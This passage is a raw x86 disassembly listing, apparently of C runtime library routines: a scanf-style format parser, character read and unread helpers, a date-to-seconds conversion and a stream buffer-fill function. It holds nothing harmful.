loc_41AFBC: ; CODE XREF: sub_41AD3D+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AFD6
; ---------------------------------------------------------------------------
loc_41AFD3: ; CODE XREF: sub_41AD3D+27Dj
mov edi, [ebp+arg_0]
loc_41AFD6: ; CODE XREF: sub_41AD3D+294j
cmp [ebp+var_20], 0
jz short loc_41AFE5
cmp [ebp+var_C], 15Dh
jle short loc_41AFEC
loc_41AFE5: ; CODE XREF: sub_41AD3D+29Dj
mov [ebp+var_C], 15Dh
loc_41AFEC: ; CODE XREF: sub_41AD3D+2A6j
; sub_41AD3D+2F2j
cmp dword_437F9C, 1
jle short loc_41B001
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B00C
; ---------------------------------------------------------------------------
loc_41B001: ; CODE XREF: sub_41AD3D+2B6j
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 4
loc_41B00C: ; CODE XREF: sub_41AD3D+2C2j
test eax, eax
jz short loc_41B031
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B031
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AFEC
; ---------------------------------------------------------------------------
loc_41B031: ; CODE XREF: sub_41AD3D+2D1j
; sub_41AD3D+2DBj
cmp byte_437FA0, bl
jnz short loc_41B09F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B09F
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
mov al, byte_437FA0
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41B05A: ; CODE XREF: sub_41AD3D+360j
cmp dword_437F9C, 1
jle short loc_41B06F
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B07A
; ---------------------------------------------------------------------------
loc_41B06F: ; CODE XREF: sub_41AD3D+324j
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 4
loc_41B07A: ; CODE XREF: sub_41AD3D+330j
test eax, eax
jz short loc_41B09F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B09F
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B05A
; ---------------------------------------------------------------------------
loc_41B09F: ; CODE XREF: sub_41AD3D+2FAj
; sub_41AD3D+304j ...
cmp [ebp+var_1C], 0
jz loc_41B137
cmp ebx, 65h
jz short loc_41B0B7
cmp ebx, 45h
jnz loc_41B137
loc_41B0B7: ; CODE XREF: sub_41AD3D+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B137
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41B0DE
mov [esi], al
inc esi
jmp short loc_41B0E3
; ---------------------------------------------------------------------------
loc_41B0DE: ; CODE XREF: sub_41AD3D+39Aj
cmp ebx, 2Bh
jnz short loc_41B101
loc_41B0E3: ; CODE XREF: sub_41AD3D+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41B0F2
and [ebp+var_C], eax
jmp short loc_41B101
; ---------------------------------------------------------------------------
loc_41B0F2: ; CODE XREF: sub_41AD3D+3AEj
; sub_41AD3D+3F8j
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B101: ; CODE XREF: sub_41AD3D+3A4j
; sub_41AD3D+3B3j
cmp dword_437F9C, 1
jle short loc_41B116
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B121
; ---------------------------------------------------------------------------
loc_41B116: ; CODE XREF: sub_41AD3D+3CBj
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 4
loc_41B121: ; CODE XREF: sub_41AD3D+3D7j
test eax, eax
jz short loc_41B137
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B137
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41B0F2
; ---------------------------------------------------------------------------
loc_41B137: ; CODE XREF: sub_41AD3D+366j
; sub_41AD3D+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41B7B3
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41B743
cmp [ebp+var_E], 0
jnz loc_41B6A4
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_4380D0
add esp, 0Ch
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B17B: ; CODE XREF: sub_41AD3D+20Cj
cmp [ebp+var_20], eax
jnz short loc_41B18A
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41B18A: ; CODE XREF: sub_41AD3D+441j
cmp [ebp+var_5], 0
jle short loc_41B194
mov [ebp+var_16], 1
loc_41B194: ; CODE XREF: sub_41AD3D+451j
mov edi, offset dword_438100
jmp loc_41B2A9
; ---------------------------------------------------------------------------
loc_41B19E: ; CODE XREF: sub_41AD3D+1FDj
mov eax, esi
sub eax, 70h
jz loc_41B44C
sub eax, 3
jz loc_41B29A
dec eax
dec eax
jz loc_41B450
sub eax, 3
jz loc_41AF86
sub eax, 3
jz short loc_41B1EC
loc_41B1C8: ; CODE XREF: sub_41AD3D+21Bj
; sub_41AD3D+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41B713
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41B6A4
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41AD3D+489j
cmp [ebp+var_5], 0
jle short loc_41B1F6
mov [ebp+var_16], 1
loc_41B1F6: ; CODE XREF: sub_41AD3D+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41B2AD
mov eax, edi
lea edi, [eax+1]
jmp loc_41B2A9
; ---------------------------------------------------------------------------
loc_41B210: ; CODE XREF: sub_41AD3D+24Fj
cmp ebx, 2Bh
jnz short loc_41B237
loc_41B215: ; CODE XREF: sub_41AD3D+259j
dec [ebp+var_C]
jnz short loc_41B226
cmp [ebp+var_20], 0
jz short loc_41B226
mov [ebp+var_F], 1
jmp short loc_41B237
; ---------------------------------------------------------------------------
loc_41B226: ; CODE XREF: sub_41AD3D+4DBj
; sub_41AD3D+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B237: ; CODE XREF: sub_41AD3D+4D6j
; sub_41AD3D+4E7j
cmp ebx, 30h
jnz loc_41B485
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41B285
cmp bl, 58h
jz short loc_41B285
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41B26F
push 6Fh
loc_41B269: ; CODE XREF: sub_41AD3D+55Bj
pop esi
jmp loc_41B485
; ---------------------------------------------------------------------------
loc_41B26F: ; CODE XREF: sub_41AD3D+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B7B3
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41B482
; ---------------------------------------------------------------------------
loc_41B285: ; CODE XREF: sub_41AD3D+517j
; sub_41AD3D+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41B269
; ---------------------------------------------------------------------------
loc_41B29A: ; CODE XREF: sub_41AD3D+46Fj
cmp [ebp+var_5], 0
jle short loc_41B2A4
mov [ebp+var_16], 1
loc_41B2A4: ; CODE XREF: sub_41AD3D+561j
mov edi, offset dword_4380F8
loc_41B2A9: ; CODE XREF: sub_41AD3D+45Cj
; sub_41AD3D+4CEj
or [ebp+var_18], 0FFh
loc_41B2AD: ; CODE XREF: sub_41AD3D+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_415570
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41B2D1
cmp byte ptr [edi], 5Dh
jnz short loc_41B2D1
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41B2D4
; ---------------------------------------------------------------------------
loc_41B2D1: ; CODE XREF: sub_41AD3D+584j
; sub_41AD3D+589j
mov dl, [ebp+var_35]
loc_41B2D4: ; CODE XREF: sub_41AD3D+592j
; sub_41AD3D+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41B339
inc edi
cmp al, 2Dh
jnz short loc_41B320
test dl, dl
jz short loc_41B320
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41B320
inc edi
cmp dl, cl
jnb short loc_41B2F3
mov al, cl
jmp short loc_41B2F7
; ---------------------------------------------------------------------------
loc_41B2F3: ; CODE XREF: sub_41AD3D+5B0j
mov al, dl
mov dl, cl
loc_41B2F7: ; CODE XREF: sub_41AD3D+5B4j
cmp dl, al
ja short loc_41B31C
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41B304: ; CODE XREF: sub_41AD3D+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41B304
loc_41B31C: ; CODE XREF: sub_41AD3D+5BCj
xor dl, dl
jmp short loc_41B2D4
; ---------------------------------------------------------------------------
loc_41B320: ; CODE XREF: sub_41AD3D+5A0j
; sub_41AD3D+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41B2D4
; ---------------------------------------------------------------------------
loc_41B339: ; CODE XREF: sub_41AD3D+59Bj
cmp byte ptr [edi], 0
jz loc_41B743
cmp [ebp+var_3C], 7Bh
jnz short loc_41B34B
mov [ebp+arg_4], edi
loc_41B34B: ; CODE XREF: sub_41AD3D+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41B7B3
pop ecx
pop ecx
loc_41B362: ; CODE XREF: sub_41AD3D+6BCj
; sub_41AD3D+6C4j
cmp [ebp+var_20], 0
jz short loc_41B376
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41B412
loc_41B376: ; CODE XREF: sub_41AD3D+629j
inc [ebp+var_4]
push edi
call sub_41B799
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41B406
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41B406
cmp [ebp+var_E], 0
jnz short loc_41B3FE
cmp [ebp+var_16], 0
jz short loc_41B3F3
mov ecx, off_437D90
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41B3D2
inc [ebp+var_4]
push edi
call sub_41B799
pop ecx
mov [ebp+var_37], al
loc_41B3D2: ; CODE XREF: sub_41AD3D+686j
push dword_437F9C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41DFCD
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41B3F6
; ---------------------------------------------------------------------------
loc_41B3F3: ; CODE XREF: sub_41AD3D+673j
mov [esi], al
inc esi
loc_41B3F6: ; CODE XREF: sub_41AD3D+6B4j
mov [ebp+var_2C], esi
jmp loc_41B362
; ---------------------------------------------------------------------------
loc_41B3FE: ; CODE XREF: sub_41AD3D+66Dj
inc [ebp+var_30]
jmp loc_41B362
; ---------------------------------------------------------------------------
loc_41B406: ; CODE XREF: sub_41AD3D+649j
; sub_41AD3D+667j
dec [ebp+var_4]
push edi
push eax
call sub_41B7B3
pop ecx
pop ecx
loc_41B412: ; CODE XREF: sub_41AD3D+633j
cmp [ebp+var_30], esi
jz loc_41B743
cmp [ebp+var_E], 0
jnz loc_41B6A4
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41B6A4
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41B444
and word ptr [eax], 0
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B444: ; CODE XREF: sub_41AD3D+6FCj
and byte ptr [eax], 0
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B44C: ; CODE XREF: sub_41AD3D+466j
mov [ebp+var_D], 1
loc_41B450: ; CODE XREF: sub_41AD3D+203j
; sub_41AD3D+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41B45E
mov [ebp+var_17], 1
jmp short loc_41B463
; ---------------------------------------------------------------------------
loc_41B45E: ; CODE XREF: sub_41AD3D+719j
cmp ebx, 2Bh
jnz short loc_41B485
loc_41B463: ; CODE XREF: sub_41AD3D+71Fj
dec [ebp+var_C]
jnz short loc_41B474
cmp [ebp+var_20], 0
jz short loc_41B474
mov [ebp+var_F], 1
jmp short loc_41B485
; ---------------------------------------------------------------------------
loc_41B474: ; CODE XREF: sub_41AD3D+729j
; sub_41AD3D+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
pop ecx
mov ebx, eax
loc_41B482: ; CODE XREF: sub_41AD3D+543j
mov [ebp+var_14], ebx
loc_41B485: ; CODE XREF: sub_41AD3D+4FDj
; sub_41AD3D+52Dj ...
cmp [ebp+var_30], 0
jz loc_41B59E
cmp [ebp+var_F], 0
jnz loc_41B57C
loc_41B499: ; CODE XREF: sub_41AD3D+82Cj
cmp esi, 78h
jnz short loc_41B4ED
cmp dword_437F9C, 1
jle short loc_41B4B6
push 80h
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B4C3
; ---------------------------------------------------------------------------
loc_41B4B6: ; CODE XREF: sub_41AD3D+768j
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 80h
loc_41B4C3: ; CODE XREF: sub_41AD3D+777j
test eax, eax
jz loc_41B56E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41E0C0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41B762
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B540
; ---------------------------------------------------------------------------
loc_41B4ED: ; CODE XREF: sub_41AD3D+75Fj
cmp dword_437F9C, 1
jle short loc_41B502
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B50D
; ---------------------------------------------------------------------------
loc_41B502: ; CODE XREF: sub_41AD3D+7B7j
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 4
loc_41B50D: ; CODE XREF: sub_41AD3D+7C3j
test eax, eax
jz short loc_41B56E
cmp esi, 6Fh
jnz short loc_41B52B
cmp ebx, 38h
jge short loc_41B56E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41E0C0
jmp short loc_41B53A
; ---------------------------------------------------------------------------
loc_41B52B: ; CODE XREF: sub_41AD3D+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_4159A0
loc_41B53A: ; CODE XREF: sub_41AD3D+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41B540: ; CODE XREF: sub_41AD3D+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41B558
dec [ebp+var_C]
jz short loc_41B57C
loc_41B558: ; CODE XREF: sub_41AD3D+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41B499
; ---------------------------------------------------------------------------
loc_41B56E: ; CODE XREF: sub_41AD3D+788j
; sub_41AD3D+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B7B3
pop ecx
pop ecx
loc_41B57C: ; CODE XREF: sub_41AD3D+756j
; sub_41AD3D+819j
cmp [ebp+var_17], 0
jz loc_41B662
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41B662
; ---------------------------------------------------------------------------
loc_41B59E: ; CODE XREF: sub_41AD3D+74Cj
cmp [ebp+var_F], 0
jnz loc_41B65A
loc_41B5A8: ; CODE XREF: sub_41AD3D+90Aj
cmp esi, 78h
jz short loc_41B5EC
cmp esi, 70h
jz short loc_41B5EC
cmp dword_437F9C, 1
jle short loc_41B5C7
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B5D2
; ---------------------------------------------------------------------------
loc_41B5C7: ; CODE XREF: sub_41AD3D+87Cj
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 4
loc_41B5D2: ; CODE XREF: sub_41AD3D+888j
test eax, eax
jz short loc_41B64C
cmp esi, 6Fh
jnz short loc_41B5E5
cmp ebx, 38h
jge short loc_41B64C
shl edi, 3
jmp short loc_41B624
; ---------------------------------------------------------------------------
loc_41B5E5: ; CODE XREF: sub_41AD3D+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41B624
; ---------------------------------------------------------------------------
loc_41B5EC: ; CODE XREF: sub_41AD3D+86Ej
; sub_41AD3D+873j
cmp dword_437F9C, 1
jle short loc_41B604
push 80h
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B611
; ---------------------------------------------------------------------------
loc_41B604: ; CODE XREF: sub_41AD3D+8B6j
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, 80h
loc_41B611: ; CODE XREF: sub_41AD3D+8C5j
test eax, eax
jz short loc_41B64C
push ebx
shl edi, 4
call sub_41B762
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B624: ; CODE XREF: sub_41AD3D+8A6j
; sub_41AD3D+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41B636
dec [ebp+var_C]
jz short loc_41B65A
loc_41B636: ; CODE XREF: sub_41AD3D+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41B5A8
; ---------------------------------------------------------------------------
loc_41B64C: ; CODE XREF: sub_41AD3D+897j
; sub_41AD3D+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B7B3
pop ecx
pop ecx
loc_41B65A: ; CODE XREF: sub_41AD3D+865j
; sub_41AD3D+8F7j
cmp [ebp+var_17], 0
jz short loc_41B662
neg edi
loc_41B662: ; CODE XREF: sub_41AD3D+843j
; sub_41AD3D+85Cj ...
cmp esi, 46h
jnz short loc_41B66B
and [ebp+var_1C], 0
loc_41B66B: ; CODE XREF: sub_41AD3D+928j
cmp [ebp+var_1C], 0
jz loc_41B743
cmp [ebp+var_E], 0
jnz short loc_41B6A4
inc [ebp+var_34]
loc_41B67E: ; CODE XREF: sub_41AD3D+23Bj
cmp [ebp+var_30], 0
jz short loc_41B694
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B694: ; CODE XREF: sub_41AD3D+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41B6A1
mov [eax], edi
jmp short loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B6A1: ; CODE XREF: sub_41AD3D+95Ej
mov [eax], di
loc_41B6A4: ; CODE XREF: sub_41AD3D+241j
; sub_41AD3D+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41B6F1
; ---------------------------------------------------------------------------
loc_41B6AF: ; CODE XREF: sub_41AD3D+93j
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41B71E
mov ecx, off_437D90
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41B6F1
inc [ebp+var_4]
push edi
call sub_41B799
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41B72C
dec [ebp+var_4]
loc_41B6F1: ; CODE XREF: sub_41AD3D+970j
; sub_41AD3D+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B707
cmp byte ptr [esi], 25h
jnz short loc_41B749
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41B749
mov esi, eax
loc_41B707: ; CODE XREF: sub_41AD3D+9B8j
mov al, [esi]
test al, al
jnz loc_41AD67
jmp short loc_41B743
; ---------------------------------------------------------------------------
loc_41B713: ; CODE XREF: sub_41AD3D+1F4j
; sub_41AD3D+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41B723
; ---------------------------------------------------------------------------
loc_41B71E: ; CODE XREF: sub_41AD3D+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41B723: ; CODE XREF: sub_41AD3D+9DFj
call sub_41B7B3
pop ecx
pop ecx
jmp short loc_41B743
; ---------------------------------------------------------------------------
loc_41B72C: ; CODE XREF: sub_41AD3D+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41B7B3
dec [ebp+var_4]
push edi
push ebx
call sub_41B7B3
add esp, 10h
loc_41B743: ; CODE XREF: sub_41AD3D+1Fj
; sub_41AD3D+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B75A
loc_41B749: ; CODE XREF: sub_41AD3D+9BDj
; sub_41AD3D+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41B75D
cmp [ebp+var_15], al
jnz short loc_41B75D
or eax, 0FFFFFFFFh
jmp short loc_41B75D
; ---------------------------------------------------------------------------
loc_41B75A: ; CODE XREF: sub_41AD3D+A0Aj
mov eax, [ebp+var_34]
loc_41B75D: ; CODE XREF: sub_41AD3D+A11j
; sub_41AD3D+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41AD3D endp
; =============== S U B R O U T I N E =======================================
sub_41B762 proc near ; CODE XREF: sub_41AD3D+7A3p
; sub_41AD3D+8DCp
arg_0 = dword ptr 4
cmp dword_437F9C, 1
push esi
jle short loc_41B77C
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_41B78B
; ---------------------------------------------------------------------------
loc_41B77C: ; CODE XREF: sub_41B762+8j
mov esi, [esp+4+arg_0]
mov eax, off_437D90
mov al, [eax+esi*2]
and eax, 4
loc_41B78B: ; CODE XREF: sub_41B762+18j
test eax, eax
jnz short loc_41B795
and esi, 0FFFFFFDFh
sub esi, 7
loc_41B795: ; CODE XREF: sub_41B762+2Bj
mov eax, esi
pop esi
retn
sub_41B762 endp
; =============== S U B R O U T I N E =======================================
sub_41B799 proc near ; CODE XREF: sub_41AD3D+1E1p
; sub_41AD3D+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41B7AB
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41B7AB: ; CODE XREF: sub_41B799+7j
push edx
call sub_41B8B0
pop ecx
retn
sub_41B799 endp
; =============== S U B R O U T I N E =======================================
sub_41B7B3 proc near ; CODE XREF: sub_41AD3D+6Bp
; sub_41AD3D+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41B7C9
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41E0DF
pop ecx
pop ecx
locret_41B7C9: ; CODE XREF: sub_41B7B3+5j
retn
sub_41B7B3 endp
; =============== S U B R O U T I N E =======================================
sub_41B7CA proc near ; CODE XREF: sub_41AD3D+63p
; sub_41AD3D+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41B7D0: ; CODE XREF: sub_41B7CA+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41B799
mov edi, eax
push edi
call sub_41E095
pop ecx
test eax, eax
pop ecx
jnz short loc_41B7D0
mov eax, edi
pop edi
pop esi
retn
sub_41B7CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7EE proc near ; CODE XREF: sub_416AD4+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41B8AA
cmp ebx, 8Ah
jg loc_41B8AA
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_438824[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41B82D
cmp edi, 2
jle short loc_41B82D
inc esi
loc_41B82D: ; CODE XREF: sub_41B7EE+37j
; sub_41B7EE+3Cj
call sub_41E14D
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_438740
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41B8A0
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41B8A6
cmp dword_438744, 0
jz short loc_41B8A6
lea eax, [ebp+var_24]
push eax
call sub_41E3C0
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41B8A6
loc_41B8A0: ; CODE XREF: sub_41B7EE+90j
add ecx, dword_438748
loc_41B8A6: ; CODE XREF: sub_41B7EE+96j
; sub_41B7EE+9Fj ...
mov eax, ecx
jmp short loc_41B8AD
; ---------------------------------------------------------------------------
loc_41B8AA: ; CODE XREF: sub_41B7EE+13j
; sub_41B7EE+1Fj
or eax, 0FFFFFFFFh
loc_41B8AD: ; CODE XREF: sub_41B7EE+BAj
pop ebx
leave
retn
sub_41B7EE endp
; =============== S U B R O U T I N E =======================================
sub_41B8B0 proc near ; CODE XREF: sub_416BB0+A9p
; sub_41713C+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41B984
test al, 40h
jnz loc_41B984
test al, 2
jz short loc_41B8D6
or al, 20h
mov [esi+0Ch], eax
jmp loc_41B984
; ---------------------------------------------------------------------------
loc_41B8D6: ; CODE XREF: sub_41B8B0+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41B8EA
push esi
call sub_41D06C
pop ecx
jmp short loc_41B8EF
; ---------------------------------------------------------------------------
loc_41B8EA: ; CODE XREF: sub_41B8B0+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41B8EF: ; CODE XREF: sub_41B8B0+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41B989
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41B973
cmp eax, 0FFFFFFFFh
jz short loc_41B973
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41B948
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41B931
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_46A7E0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41B936
; ---------------------------------------------------------------------------
loc_41B931: ; CODE XREF: sub_41B8B0+6Bj
mov edi, offset dword_4383F0
loc_41B936: ; CODE XREF: sub_41B8B0+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41B948
or dh, 20h
mov [esi+0Ch], edx
loc_41B948: ; CODE XREF: sub_41B8B0+62j
; sub_41B8B0+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41B965
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41B965
test ch, 4
jnz short loc_41B965
mov dword ptr [esi+18h], 1000h
loc_41B965: ; CODE XREF: sub_41B8B0+9Fj
; sub_41B8B0+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
